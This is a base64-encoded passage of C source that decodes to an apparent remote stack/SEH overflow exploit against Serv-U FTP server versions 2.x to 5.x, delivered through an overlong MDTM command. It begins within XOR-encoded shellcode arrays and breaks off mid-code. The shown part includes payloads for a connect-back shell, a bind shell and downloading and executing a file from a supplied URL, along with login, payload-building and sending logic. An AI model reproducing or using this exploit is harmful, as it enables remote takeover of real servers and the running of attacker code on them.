eDY3XHhERVx4QTRceDEwIg0KIlx4QzZceEQxXHgxMFx4QzZceEQ1XHgxMFx4QzZceEM5XHgxNFx4
RERceEJEXHg4OVx4Q0VceEM5XHhDOFx4QzgiDQoiXHhDOFx4RjNceDk4XHhDOFx4QzhceDY2XHhF
Rlx4QTlceEM4XHg2Nlx4Q0ZceDlEXHgxMlx4NTVceEYzXHg2NiINCiJceDY2XHhBOFx4NjZceENG
XHg5MVx4Q0FceDY2XHhDRlx4ODVceDY2XHhDRlx4OTVceEM4XHhDRlx4MTJceEVDIg0KIlx4QTVc
eDEyXHhFRFx4QjdceEUxXHg5QVx4NkNceENGXHgxMlx4RUZceEI5XHg5QVx4NkNceDcyXHg5RVx4
MDkiDQoiXHgwOVx4MDlceDA5XHgwOVx4MDlceDA5XHhBQVx4NTBceEQwXHhEOFx4MzRceDlBXHg1
Q1x4QUFceDQyXHg5NiINCiJceDI3XHg4OVx4QTNceDRGXHhFRFx4OTFceDU4XHg1Mlx4OTRceDlB
XHg0M1x4RDlceDcyXHg2OFx4QTJceDg2Ig0KIlx4RUNceDdFXHhDN1x4MTJceEM3XHhCRFx4OUFc
eDQ0XHhGRlx4MTJceDk1XHhEMlx4MTJceEM3XHg4NVx4OUEiDQoiXHg0NFx4MTJceDlEXHgxMlx4
OUFceDVDXHgzMlx4QzdceEMwXHg1QVx4NzFceDZGXHg2N1x4NjZceDY2XHgxNyINCiJceEQ3XHg5
N1x4NzVceEVCXHg2N1x4MkFceDhGXHgzNFx4NDBceDlDXHg1N1x4RTdceDQxXHg3Qlx4RUFceDUy
Ig0KIlx4NzRceDY1XHhBMlx4NDBceDkwXHg2Q1x4MzRceDc1XHg2MFx4MzNceEY5XHg3RVx4RTBc
eDVGXHhFMFx4OTkiOw0KDQovLyAxOTQgYnl0ZXMgZG93bmxvYWQgdXJsIGZpbGUgYW5kIGV4ZWMg
c2hlbGxjb2RlIGJ5IGxpb24gKHhvciB3aXRoIDB4OTkpDQovLyBUZXN0ZWQgb24gU2Vydi1VIDMu
eC80LngvNS54DQp1bnNpZ25lZCBjaGFyIGR1c2NbXT0NCiJceDcwXHgzRFx4OTlceDk5XHg5OVx4
QzZceEZEXHgzOFx4QTlceDk5XHg5OVx4OTlceDEyXHhEOVx4OTVceDEyIg0KIlx4RTlceDg1XHgz
NFx4MTJceEYxXHg5MVx4MTJceDZFXHhGM1x4OURceEMwXHg3MVx4RERceDk5XHg5OVx4OTkiDQoi
XHg3Qlx4NjBceEYxXHhGNlx4RjdceDk5XHg5OVx4RjFceEVDXHhFQlx4RjVceEY0XHhDRFx4NjZc
eDhGXHgxMiINCiJceDcxXHg3MVx4QjdceDk5XHg5OVx4OTlceDFBXHg3NVx4QjlceDEyXHg0NVx4
RjNceEI5XHhDQVx4NjZceENGIg0KIlx4OURceDVFXHg5RFx4OUFceEM1XHhGOFx4QjdceEZDXHg1
RVx4RERceDlBXHg5RFx4RTFceEZDXHg5OVx4OTkiDQoiXHhBQVx4NTlceEM5XHhDOVx4Q0FceENF
XHhDOVx4NjZceENGXHg4OVx4MTJceDQ1XHhDOVx4Q0FceDY2XHhDRiINCiJceDkxXHg2Nlx4Q0Zc
eDk1XHhDOFx4Q0ZceDEyXHhFQ1x4QTVceDEyXHhFRFx4QjdceEUxXHg5QVx4NkNceENGIg0KIlx4
MTJceEVGXHhCOVx4OUFceDZDXHhBQVx4NTBceEQwXHhEOFx4MzRceDlBXHg1Q1x4QUFceDQyXHg5
Nlx4MjciDQoiXHg4OVx4QTNceDRGXHhFRFx4OTFceDU4XHg1Mlx4OTRceDlBXHg0M1x4RDlceDcy
XHg2OFx4QTJceDg2XHhFQyINCiJceDdFXHhDN1x4MTJceEM3XHhCRFx4OUFceDQ0XHhGRlx4MTJc
eDk1XHhEMlx4MTJceEM3XHg4NVx4OUFceDQ0Ig0KIlx4MTJceDlEXHgxMlx4OUFceDVDXHgzMlx4
QzdceEMwXHg1QVx4NzFceENFXHg2Nlx4NjZceDY2XHgxN1x4RDciDQoiXHg5N1x4NzVceDU4XHhF
MFx4N0NceDIxXHgwMVx4NjdceDEzXHg5N1x4RTdceDQxXHg3Qlx4RUFceEFGXHg4MyINCiJceEI2
XHhFOSI7DQoNCi8vIGV4ZWMgZmlsZSB1cmwgYWRkciBmb3IgZG93bmxvYWQgdXJsIGZpbGUgYW5k
IGV4ZWMgc2hlbGxjb2RlDQp1bnNpZ25lZCBjaGFyIGRvd25sb2FkdXJsWzI1NV09ICIiOw0KDQoN
CnZvaWQgc2hvd3R5cGUoKQ0Kew0KCWludCBpOw0KLy8JdXNhZ2UocCk7DQoJcHJpbnRmKCAiW1R5
cGVdOlxuIik7DQoJZm9yKGk9MDtpPHNpemVvZih0YXJnZXRzKS9zaXplb2Yodik7aSsrKQ0KCXsN
CgkJcHJpbnRmKCJcdCVkXHQweCV4XHQlc1xuIiwgaSwgdGFyZ2V0c1tpXS5kd0pNUCwgdGFyZ2V0
c1tpXS5zekRlc2NyaXB0aW9uKTsNCgl9DQp9DQoNCnZvaWQgdXNhZ2UoY2hhciAqcCkNCnsNCglw
cmludGYoICJVc2FnZTpcdCVzXHQtaSA8aXA+IFtPcHRpb25zXVxuIg0KCQkiXHRcdC10XHRTaG93
IEFsbCBUYXJnZXQgVHlwZS5cblxuIg0KCQkiW09wdGlvbnM6XVxuIg0KCQkiXHQtaVx0VGFyZ2V0
IElQICAgICAgICAgICAgICAgICAgICAgUmVxdWlyZWRcbiINCgkJIlx0LXRcdFRhcmdldCBUeXBl
ICAgICAgICAgICAgICAgICAgIERlZmF1bHQ6ICVkXG4iDQoJCSJcdC11XHRGVFAgVXNlcm5hbWUg
ICAgICAgICAgICAgICAgICBEZWZhdWx0OiAlc1xuIg0KCQkiXHQtcFx0RlRQIFBhc3N3b3JkICAg
ICAgICAgICAgICAgICAgRGVmYXVsdDogJXNcbiINCgkJIlx0LWZcdFBvcnQgb2YgdGhlIEZUUCBT
ZXJ2ZXIgICAgICAgIERlZmF1bHQ6ICVkXG4iDQoJCSJcdC1zXHRQb3J0IG9mIHRoZSBTaGVsbCAg
ICAgICAgICAgICBEZWZhdWx0OiAlZFxuIg0KCQkiXHQtY1x0Q29ubmVjdCBiYWNrIElQICAgICAg
ICAgICAgICAgRm9yIGNvbm5lY3RiYWNrIHNoZWxsY29kZVxuIg0KCQkiXHQtZFx0RG93bmxvYWQg
dGhlIFVSTCBhbmQgRXhlYyAgICAgU3RhcnQgd2l0aCAnaHR0cDovLycgb3IgJ2Z0cDovLydcblxu
Ig0KCQksIHAsIERFRlRZUEUsIERFRlVTRVIsIERFRlBBU1MsIEZUUFBPUlQsIFNIRUxMUE9SVCk7
CQ0KDQoJLy9zaG93dHlwZSgpOw0KfQ0KDQovKiByaXBwZWQgZnJvbSBURVNPIGNvZGUgYW5kIG1v
ZGlmZWQgYnkgZXk0cyBmb3Igd2luMzIgKi8NCnZvaWQgc2hlbGwgKGludCBzb2NrKQ0Kew0KCWlu
dCAgICAgbDsNCgljaGFyICAgIGJ1Zls1MTJdOw0KCXN0cnVjdAl0aW1ldmFsIHRpbWU7DQoJdW5z
aWduZWQgbG9uZwl1bFsyXTsNCg0KCXRpbWUudHZfc2VjID0gMTsNCgl0aW1lLnR2X3VzZWMgPSAw
Ow0KDQoJd2hpbGUgKDEpDQoJew0KCQl1bFswXSA9IDE7DQoJCXVsWzFdID0gc29jazsNCg0KCQls
ID0gc2VsZWN0ICgwLCAoZmRfc2V0ICopJnVsLCBOVUxMLCBOVUxMLCAmdGltZSk7DQoJCWlmKGwg
PT0gMSkNCgkJew0KCQkJbCA9IHJlY3YgKHNvY2ssIGJ1Ziwgc2l6ZW9mIChidWYpLCAwKTsNCgkJ
CWlmIChsIDw9IDApDQoJCQl7DQoJCQkJcHJpbnRmICgiWy1dIENvbm5lY3Rpb24gY2xvc2VkLlxu
Iik7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQkJbCA9IHdyaXRlICgxLCBidWYsIGwpOw0KCQkJaWYg
KGwgPD0gMCkNCgkJCXsNCgkJCQlwcmludGYgKCJbLV0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsN
CgkJCQlyZXR1cm47DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlsID0gcmVhZCAoMCwgYnVm
LCBzaXplb2YgKGJ1ZikpOw0KCQkJaWYgKGwgPD0gMCkNCgkJCXsNCgkJCQlwcmludGYoIlstXSBD
b25uZWN0aW9uIGNsb3NlZC5cbiIpOw0KCQkJCXJldHVybjsNCgkJCX0NCgkJCWwgPSBzZW5kKHNv
Y2ssIGJ1ZiwgbCwgMCk7DQoJCQlpZiAobCA8PSAwKQ0KCQkJew0KCQkJCXByaW50ZigiWy1dIENv
bm5lY3Rpb24gY2xvc2VkLlxuIik7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQpp
bnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpDQp7DQoJc3RydWN0CXNvY2thZGRyX2luIHNh
LCBzZXJ2ZXIsIGNsaWVudDsNCiNpZm5kZWYgVU5JWA0KCVdTQURBVEEJd3NkOw0KI2VuZGlmDQoJ
U09DS0VUCXMsIHMyLCBzMzsNCglpbnQJaUVyciwgcmV0LCBsZW47DQoJY2hhcglzelJlY3ZCdWZm
W01BWF9MRU5dOw0KCWludAlpLGo7DQoJaW50CWlUeXBlID1ERUZUWVBFLCBpUG9ydD1GVFBQT1JU
Ow0KCWNoYXIJKmlwPU5VTEwsICpwVXNlcj1ERUZVU0VSLCAqcFBhc3M9REVGUEFTUywgKmNiSG9z
dD1OVUxMLCAqdXJsOw0KCWNoYXIJdXNlclsxMjhdLCBwYXNzWzEyOF07DQoJQk9PTAliQ2I9RkFM
U0UsYlVybD1GQUxTRSwgYkxvY2FsPVRSVUUsIGIyeD1GQUxTRTsNCgl1bnNpZ25lZCBzaG9ydAlz
aHBvcnQ9U0hFTExQT1JULCBzaHBvcnQyPTA7DQoJdW5zaWduZWQgbG9uZwljYmlwOw0KCXVuc2ln
bmVkIGludAl0aW1lb3V0PTUwMDAsIFJldXNlOw0KCWNoYXIJcGVuZXRyYXRlWzI1NV0sY2JIb3N0
MlsyMF07DQoJDQoJcHJpbnRmKCAiU2Vydi1VIEZUUEQgMi54LzMueC80LngvNS54IHJlbW90ZSBv
dmVyZmxvdyBleHBsb2l0IFYlcyAoMjAwNC0wMS0wNylcclxuIg0KCQkiQnVnIGZpbmQgYnkgYmti
bGwgKGJrYmxsQGNuaG9ua2VyLm5ldCksIENvZGUgYnkgbGlvbiAobGlvbkBjbmhvbmtlci5uZXQp
XHJcbiINCgkJIldlbGNvbWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5jbmhvbmtlci5jb21c
clxuXG4iDQoJCSAJLCBWRVJTSU9OKTsNCg0KCWlmKGFyZ2MgPCAyKQ0KCXsNCgkJdXNhZ2UoYXJn
dlswXSk7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlIGlmKGFyZ2MgPT0gMiAmJiBhcmd2WzFdWzFd
ID09ICd0JykNCgl7DQoJCXNob3d0eXBlKCk7DQoJCXJldHVybiAxOw0KCX0NCg0KCWZvcihpPTE7
aTxhcmdjO2krPTIpDQoJew0KCQlpZihzdHJsZW4oYXJndltpXSkgIT0gMikNCgkJew0KCQkJdXNh
Z2UoYXJndlswXSk7DQoJCQlyZXR1cm4gLTE7DQoJCX0NCgkJLy8gY2hlY2sgcGFyYW1ldGVyDQoJ
CWlmKGkgPT0gYXJnYy0xKQ0KCQl7DQoJCQl1c2FnZShhcmd2WzBdKTsNCgkJCXJldHVybiAtMTsN
CgkJfQ0KCQlzd2l0Y2goYXJndltpXVsxXSkNCgkJew0KCQkJY2FzZSAnaSc6DQoJCQkJaXA9YXJn
dltpKzFdOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAndCc6DQoJCQkJaVR5cGUgPSBhdG9pKGFyZ3Zb
aSsxXSk7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdmJzoNCgkJCQlpUG9ydD1hdG9pKGFyZ3ZbaSsx
XSk7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwJzoNCgkJCQlwUGFzcyA9IGFyZ3ZbaSsxXTsNCgkJ
CQlicmVhazsNCgkJCWNhc2UgJ3UnOg0KCQkJCXBVc2VyPWFyZ3ZbaSsxXTsNCgkJCQlicmVhazsN
CgkJCWNhc2UgJ3MnOg0KCQkJCXNocG9ydD1hdG9pKGFyZ3ZbaSsxXSk7DQoJCQkJYnJlYWs7DQoJ
CQljYXNlICdjJzoNCgkJCQljYkhvc3Q9YXJndltpKzFdOw0KCQkJCWJDYj1UUlVFOw0KCQkJCWJy
ZWFrOw0KCQkJY2FzZSAnZCc6DQoJCQkJdXJsID0gYXJndltpKzFdOw0KCQkJCWJVcmw9VFJVRTsN
CgkJCQlicmVhazsNCgkJCQkNCgkJfQ0KCX0NCg0KCWlmKCghaXApIHx8ICghdXNlcikgfHwgKCFw
YXNzKSkNCgl7DQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCQlwcmludGYoIlstXSBJbnZhbGlkIHBhcmFt
ZXRlci5cbiIpOw0KCQlyZXR1cm4gLTE7DQoJfQ0KDQoJaWYoIChpVHlwZTwwKSB8fCAoaVR5cGU+
PXNpemVvZih0YXJnZXRzKS9zaXplb2YodikpICkNCgl7DQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCQlw
cmludGYoIlstXSBJbnZhbGlkIHR5cGUuXG4iKTsNCgkJcmV0dXJuIC0xOw0KCX0NCg0KCWlmKGlQ
b3J0IDwxIHx8IGlQb3J0ID42NTUzNSB8fCBzaHBvcnQgPDEgfHwgc2hwb3J0ID4gNjU1MzUpDQoJ
ew0KCQl1c2FnZShhcmd2WzBdKTsNCgkJcHJpbnRmKCJbLV0gSW52YWxpZCBwb3J0LlxuIik7DQoJ
CXJldHVybiAtMTsNCgl9DQoNCglpZihiVXJsKQ0KCXsNCgkJaWYoICghc3Ryc3RyKHVybCwgImh0
dHA6Ly8iKSAmJiAgIXN0cnN0cih1cmwsICJmdHA6Ly8iKSkgfHwgc3RybGVuKHVybCkgPCAxMCB8
fCBzdHJsZW4odXJsKSA+IDI1NSkNCgkJew0KCQkJdXNhZ2UoYXJndlswXSk7DQoJCQlwcmludGYo
IlstXSBJbnZhbGlkIHVybC4gTXVzdCBzdGFydCB3aXRoICdodHRwOi8vJywnZnRwOi8vJyBhbmQg
PDI1NSBieXRlcy5cbiIpOw0KCQkJcmV0dXJuIC0xOwkJCQkNCgkJfQ0KCX0NCgkNCglpZihzdHJz
dHIodGFyZ2V0c1tpVHlwZV0uc3pEZXNjcmlwdGlvbiwgIjIueCIpKQ0KCXsNCgkJYjJ4ID0gVFJV
RTsNCgkJcHJpbnRmKCJbKl0gQXR0YWNrIFRhcmdldCBpcyBTZXJ2LVUgMi54LlxyXG4iKTsNCgl9
DQoJZWxzZQ0KCXsNCgkJcHJpbnRmKCJbKl0gQXR0YWNrIFRhcmdldCBpcyBTZXJ2LVUgMy54LzQu
eC81LnguXHJcbiIpOw0KCX0NCgkNCglfc25wcmludGYodXNlciwgc2l6ZW9mKHVzZXIpLTEsICJV
U0VSICVzXHJcbiIsIHBVc2VyKTsNCgl1c2VyW3NpemVvZih1c2VyKS0xXT0nXDAnOw0KCV9zbnBy
aW50ZihwYXNzLCBzaXplb2YocGFzcyktMSwgIlBBU1MgJXNcclxuIiwgcFBhc3MpOw0KCXBhc3Nb
c2l6ZW9mKHBhc3MpLTFdPSdcMCc7DQoJc3pTZW5kWzBdID0gdXNlcjsJLy91c2VyDQoJc3pTZW5k
WzFdID0gcGFzczsJLy9wYXNzCQ0KCXN6U2VuZFsyXSA9IHBlbmV0cmF0ZTsJLy9wZW50cmF0ZQ0K
CXN6U2VuZFszXSA9IHN6Q29tbWFuZDsJLy9zaGVsbGNvZGUNCgkNCgkvLyBQZW5ldHJhdGUgdGhy
b3VnaCB0aGUgZmlyZXdhbGwuDQoJaWYoYkNiICYmIHNocG9ydCA+IDEwMjQpDQoJew0KCQlzdHJu
Y3B5KGNiSG9zdDIsIGNiSG9zdCwgMjApOw0KCQlmb3IoaT0wO2k8c3RybGVuKGNiSG9zdCk7IGkr
KykNCgkJew0KCQkJaWYoY2JIb3N0W2ldID09ICcuJykNCgkJCQljYkhvc3QyW2ldID0gJywnOw0K
CQl9DQoJCQ0KCQlzcHJpbnRmKHBlbmV0cmF0ZSwgIlBPUlQgJXMsJWQsJWRcclxuIiwgY2JIb3N0
Miwgc2hwb3J0LzI1Niwgc2hwb3J0JTI1Nik7DQoNCgkJLy9wcmludGYoIiVzIiwgcGVuZXRyYXRl
KTsNCgl9DQoJZWxzZQ0KCXsNCgkJc3ByaW50ZihwZW5ldHJhdGUsIlRZUEUgSVxyXG4iKTsJCQ0K
CX0NCg0KCS8vIGZpbGwgdGhlICJNRFRNIiBjb21tYW5kDQoJc3RyY3B5KHN6Q29tbWFuZCwgIk1E
VE0gMjAwMzExMTExMTExMTErIik7DQoNCgkvLyBmaWxsIHRoZSBlZ2cNCglmb3IoaT0wOyBpPFNF
SF9PRkZTRVQ7IGkrKykNCgl7DQoJCXN0cmNhdChzekNvbW1hbmQsICJceDkwIik7DQoJfQ0KDQoJ
Ly8gcmV0IGFkZHINCglpZihiMngpDQoJew0KDQoJCS8vIGZpbGwgdGhlIGVnZw0KCQlpZihzdHJz
dHIodGFyZ2V0c1tpVHlwZV0uc3pEZXNjcmlwdGlvbiwgIjwiKSkNCgkJew0KCQkJaiA9IDg7DQoJ
CX0NCgkJZWxzZQ0KCQl7DQoJCQlqID0gNDsNCgkJfQ0KCQlmb3IoaT0wOyBpPGo7IGkrKykNCgkJ
ew0KCQkJc3RyY2F0KHN6Q29tbWFuZCwgIlx4OTAiKTsNCgkJfQ0KCQkNCgkJbWVtY3B5KCZzekNv
bW1hbmRbc3RybGVuKHN6Q29tbWFuZCldLCAmdGFyZ2V0c1tpVHlwZV0uZHdKTVAsIDQpOw0KCQkN
CgkJbWVtY3B5KCZzekNvbW1hbmRbUkVBRF9PRkZTRVRdLCAmUkVBRF9BRERSLCA0KTsNCgkJDQoJ
CS8vIGZpbGwgdGhlIGRlY29kZQ0KCQlzdHJjYXQoc3pDb21tYW5kLCBkZWNvZGUpOw0KCX0NCgll
bHNlDQoJew0KCQkNCgkJLy8gZmlsbCB0aGUgc2VoDQoJCWZvcihpPTA7IGk8MHgxMCoxOyBpKz04
KQ0KCQkvL2ZvcihpPTA7IGk8MTsgaSsrKQ0KCQl7DQoJCQltZW1jcHkoJnN6Q29tbWFuZFtzdHJs
ZW4oc3pDb21tYW5kKV0sICZKTVBfT1ZFUiwgNCk7DQoJCQltZW1jcHkoJnN6Q29tbWFuZFtzdHJs
ZW4oc3pDb21tYW5kKV0sICZ0YXJnZXRzW2lUeXBlXS5kd0pNUCwgNCk7DQoJCX0NCgkNCgkJLy8g
ZmlsbCB0aGUgZGVjb2RlDQoJCXN0cmNhdChzekNvbW1hbmQsIGRlY29kZTIpOwkNCgl9DQoNCgkv
LyBmaWxsIHRoZSBzcGFjZQ0KCXN0cmNhdChzekNvbW1hbmQsICIgIik7DQoNCgkvLyBmaWxsIHRo
ZSBlZ2cNCglmb3IoaT0wOyBpPDB4MTA7IGkrKykNCgl7DQoJCXN0cmNhdChzekNvbW1hbmQsICJc
eDkwIik7DQoJfQ0KDQoJLy8gZmlsbCB0aGUgc2hlbGxjb2RlIHN0YXJ0IHNpZ24NCglzdHJjYXQo
c3pDb21tYW5kLCBzY19zdGFydCk7DQoNCgkvLyBmaWxsIHRoZSBzaGVsbGNvZGUNCiAgICAgICAg
aWYoYkNiKQ0KCXsNCgkJLy8gY29ubmVjdGJhY2sgc2hlbGxjb2RlDQoJCXNocG9ydDIgPSBodG9u
cyhzaHBvcnQpXih1X3Nob3J0KTB4OTk5OTsNCgkJY2JpcCA9IGluZXRfYWRkcihjYkhvc3QpXjB4
OTk5OTk5OTk7DQoJCW1lbWNweSgmY2JzY1tQT1JUX09GRlNFVF0sICZzaHBvcnQyLCAyKTsNCgkJ
bWVtY3B5KCZjYnNjW0lQX09GRlNFVF0sICZjYmlwLCA0KTsNCgkJc3RyY2F0KHN6Q29tbWFuZCwg
Y2JzYyk7CQkNCgl9DQoJZWxzZQ0KCWlmKGJVcmwpDQoJew0KCQltZW1zZXQoZG93bmxvYWR1cmws
IDAsIHNpemVvZihkb3dubG9hZHVybCkpOw0KDQoJCS8vIGRvd25sb2FkIHVybCBleGVjIHNoZWxs
Y29kZQ0KCQlmb3IoaT0wO2k8c3RybGVuKHVybCk7aSsrKQ0KCQl7DQoJCQlkb3dubG9hZHVybFtp
XSA9IHVybFtpXSBeIDB4OTk7DQoJCX0NCgkJDQoJCWRvd25sb2FkdXJsW2ldIF49IDB4OTk7DQoJ
CXN0cmNhdChzekNvbW1hbmQsIGR1c2MpOw0KCQlzdHJjYXQoc3pDb21tYW5kLCBkb3dubG9hZHVy
bCk7CQkNCgl9IA0KICAgICAgICBlbHNlIA0KCXsNCgkJLy8gcmViaW5kIHNoZWxsY29kZQ0KCQlz
aHBvcnQyID0gaHRvbnMoc2hwb3J0KV4odV9zaG9ydCkweDk5OTk7DQoJCW1lbWNweSgmc2NbQklO
RF9PRkZTRVRdLCAmc2hwb3J0MiwgMik7DQoJCXN0cmNhdChzekNvbW1hbmQsIHNjKTsNCgl9DQoN
CgkvLyBmaWxsIHRoZSBzaGVsbGNvZGUgZW5kIHNpZ24NCglzdHJjYXQoc3pDb21tYW5kLCBzY19l
bmQpOw0KDQoJLy8gc2VuZCBlbmQNCglzdHJjYXQoc3pDb21tYW5kLCAiXHJcbiIpOw0KDQoJaWYo
c3RybGVuKHN6Q29tbWFuZCkgPj0gc2l6ZW9mKHN6Q29tbWFuZCkpDQoJew0KCQlwcmludGYoIlst
XSBzdGFjayBidWZmZXIgb3ZlcmZsb3cuXG4iKTsNCgkJcmV0dXJuIC0xOw0KCX0NCgkNCgkvL3By
aW50Zigic2VuZCBzaXplICVkOiVzIiwgc3RybGVuKHN6Q29tbWFuZCksIHN6Q29tbWFuZCk7DQoJ
Ly9wcmludGYoImJ1ZmZzaXplICVkXHJcbiIsIHN0cmxlbihzekNvbW1hbmQpLTUtMik7DQoJDQoj
aWZuZGVmIFVOSVgNCglfX3RyeQ0KI2VuZGlmDQoJew0KDQojaWZuZGVmIFVOSVgNCgkJaWYgKFdT
QVN0YXJ0dXAoTUFLRVdPUkQoMSwxKSwgJndzZCkgIT0gMCkNCgkJew0KCQkJcHJpbnRmKCJbLV0g
V1NBU3RhcnR1cCBlcnJvcjolZFxuIiwgV1NBR2V0TGFzdEVycm9yKCkpOw0KCQkJX19sZWF2ZTsN
CgkJfQ0KI2VuZGlmDQoJCXM9c29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RD
UCk7DQoJCWlmKHMgPT0gSU5WQUxJRF9TT0NLRVQpDQoJCXsNCgkJCXByaW50ZigiWy1dIENyZWF0
ZSBzb2NrZXQgZmFpbGVkOiVkIixHZXRMYXN0RXJyb3IoKSk7DQoJCQlfX2xlYXZlOw0KCQl9DQoN
CgkJc2Euc2luX2ZhbWlseT1BRl9JTkVUOw0KCQlzYS5zaW5fcG9ydD1odG9ucygoVVNIT1JUKWlQ
b3J0KTsNCg0KI2lmbmRlZiBVTklYDQoJCXNhLnNpbl9hZGRyLlNfdW4uU19hZGRyPWluZXRfYWRk
cihpcCk7DQojZWxzZQ0KCQlzYS5zaW5fYWRkci5zX2FkZHI9aW5ldF9hZGRyKGlwKTsNCiNlbmRp
Zg0KCQlzZXRzb2Nrb3B0KHMsU09MX1NPQ0tFVCxTT19SQ1ZUSU1FTywoY2hhciAqKSZ0aW1lb3V0
LHNpemVvZih1bnNpZ25lZCBpbnQpKTsNCgkJaUVyciA9IGNvbm5lY3Qocywoc3RydWN0IHNvY2th
ZGRyICopJnNhLHNpemVvZihzYSkpOw0KCQlpZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJew0K
CQkJcHJpbnRmKCJbLV0gQ29ubmVjdCB0byAlczolZCBlcnJvcjolZFxuIiwgaXAsIGlQb3J0LCBH
ZXRMYXN0RXJyb3IoKSk7DQoJCQlfX2xlYXZlOw0KCQl9DQoJCXByaW50ZigiWytdIENvbm5lY3Qg
dG8gJXM6JWQgc3VjY2Vzcy5cbiIsIGlwLCBpUG9ydCk7DQoJCQ0KCQlpZihiQ2IpDQoJCXsNCgkJ
CVNsZWVwKDUwMCk7DQoJCQlzMiA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLElQUFJPVE9f
VENQKTsNCg0KCQkJc2VydmVyLnNpbl9mYW1pbHk9QUZfSU5FVDsNCg0KI2lmbmRlZiBVTklYDQoJ
CQlzZXJ2ZXIuc2luX2FkZHIuU191bi5TX2FkZHI9aW5ldF9hZGRyKGNiSG9zdCk7DQoJCQkvL3Nl
cnZlci5zaW5fYWRkci5zX2FkZHI9SU5BRERSX0FOWTsgDQojZWxzZQ0KCQkJc2VydmVyLnNpbl9h
ZGRyLnNfYWRkcj1pbmV0X2FkZHIoY2JIb3N0KTsNCiNlbmRpZgkJCQ0KCQkJDQoJCQlzZXJ2ZXIu
c2luX3BvcnQ9aHRvbnMoKHVuc2lnbmVkIHNob3J0KXNocG9ydCk7DQoNCgkJCXNldHNvY2tvcHQo
czIsU09MX1NPQ0tFVCxTT19SQ1ZUSU1FTywoY2hhciAqKSZ0aW1lb3V0LHNpemVvZih1bnNpZ25l
ZCBpbnQpKTsNCg0KCQkJUmV1c2UgPSAxOyANCgkJCXNldHNvY2tvcHQoczIsIFNPTF9TT0NLRVQs
IFNPX1JFVVNFQUREUiwgKGNoYXIqKSZSZXVzZSwgc2l6ZW9mKFJldXNlKSk7DQoNCgkJCWlmKGJp
bmQoczIsKExQU09DS0FERFIpJnNlcnZlcixzaXplb2Yoc2VydmVyKSk9PVNPQ0tFVF9FUlJPUikN
CgkJCXsNCgkJCQlwcmludGYoIlstXSBCaW5kIHBvcnQgb24gJXM6JWQgZXJyb3IuXG4iLCBjYkhv
c3QsIHNocG9ydCk7DQoJCQkJcHJpbnRmKCJbLV0gWW91IG11c3QgcnVuIG5jIGdldCB0aGUgc2hl
bGwuXG4iKTsNCgkJCQliTG9jYWwgPSBGQUxTRTsNCgkJCQkvL2Nsb3Nlc29ja2V0KHMyKTsNCgkJ
CQkvL19fbGVhdmU7DQoJCQl9DQoJCQllbHNlDQoJCQl7CQ0KCQkJCXByaW50ZigiWytdIEJpbmQg
cG9ydCBvbiAlczolZCBzdWNjZXNzLlxuIiwgY2JIb3N0LCBzaHBvcnQpOw0KCQkJCWxpc3Rlbihz
MiwgMSk7IA0KCQkJfQ0KCQl9DQoJCQ0KCQlmb3IoaT0wO2k8c2l6ZW9mKHN6U2VuZCkvc2l6ZW9m
KHN6U2VuZFswXSk7aSsrKQ0KCQl7DQoJCQltZW1zZXQoc3pSZWN2QnVmZiwgMCwgc2l6ZW9mKHN6
UmVjdkJ1ZmYpKTsNCgkJCWlFcnIgPSByZWN2KHMsIHN6UmVjdkJ1ZmYsIHNpemVvZihzelJlY3ZC
dWZmKSwgMCk7DQoJCQlpZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJCXsNCgkJCQlwcmludGYo
IlstXSBSZWN2IGJ1ZmZlciBlcnJvcjolZC5cbiIsIFdTQUdldExhc3RFcnJvcigpKTsNCgkJCQlf
X2xlYXZlOw0KCQkJfQ0KCQkJcHJpbnRmKCJbK10gUmVjdjogJXMiLCBzelJlY3ZCdWZmKTsNCgkJ
CQ0KCQkJaWYoc3pSZWN2QnVmZlswXSA9PSAnNScpDQoJCQl7DQoJCQkJcHJpbnRmKCJbLV0gU2Vy
dmVyIHJldHVybiBhIGVycm9yIE1lc3NhZ2UuXHJcbiIpOw0KCQkJCV9fbGVhdmU7DQoJCQl9DQoN
CgkJCWlFcnIgPSBzZW5kKHMsIHN6U2VuZFtpXSwgc3RybGVuKHN6U2VuZFtpXSksMCk7DQoJCQlp
ZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJCXsNCgkJCQlwcmludGYoIlstXSBTZW5kIGJ1ZmZl
ciBlcnJvcjolZC5cbiIsIFdTQUdldExhc3RFcnJvcigpKTsNCgkJCQlfX2xlYXZlOw0KCQkJfQ0K
DQoJCQlpZihpPT1zaXplb2Yoc3pTZW5kKS9zaXplb2Yoc3pTZW5kWzBdKS0xKQ0KCQkJCXByaW50
ZigiWytdIFNlbmQgc2hlbGxjb2RlICVkIGJ5dGVzLlxuIiwgaUVycik7DQoJCQllbHNlDQoJCQkJ
cHJpbnRmKCJbK10gU2VuZDogJXMiLCBzelNlbmRbaV0pOw0KCQl9DQoNCgkJaWYoYlVybCkNCgkJ
ew0KCQkJcHJpbnRmKCJbK10gVGFyZ2V0IERvd25sb2FkIHRoZSBmaWxlIGFuZCBleGVjOiAlc1xy
XG4iLCB1cmwpOw0KCQkJcHJpbnRmKCJbK10gU3VjY2Vzcz8gTWF5YmUhXHJcbiIpOw0KCQl9DQoJ
CWVsc2UNCgkJew0KCQkJcHJpbnRmKCJbK10gSWYgeW91IGRvbid0IGhhdmUgYSBzaGVsbCBpdCBk
aWRuJ3Qgd29yay5cbiIpOw0KIA0KCQkJaWYoYkNiKQ0KCQkJew0KCQkJCWlmKGJMb2NhbCkNCgkJ
CQl7DQoJCQkJCXByaW50ZigiWytdIFdhaXQgZm9yIHNoZWxsLi4uXG4iKTsNCgkJCQ0KCQkJCQls
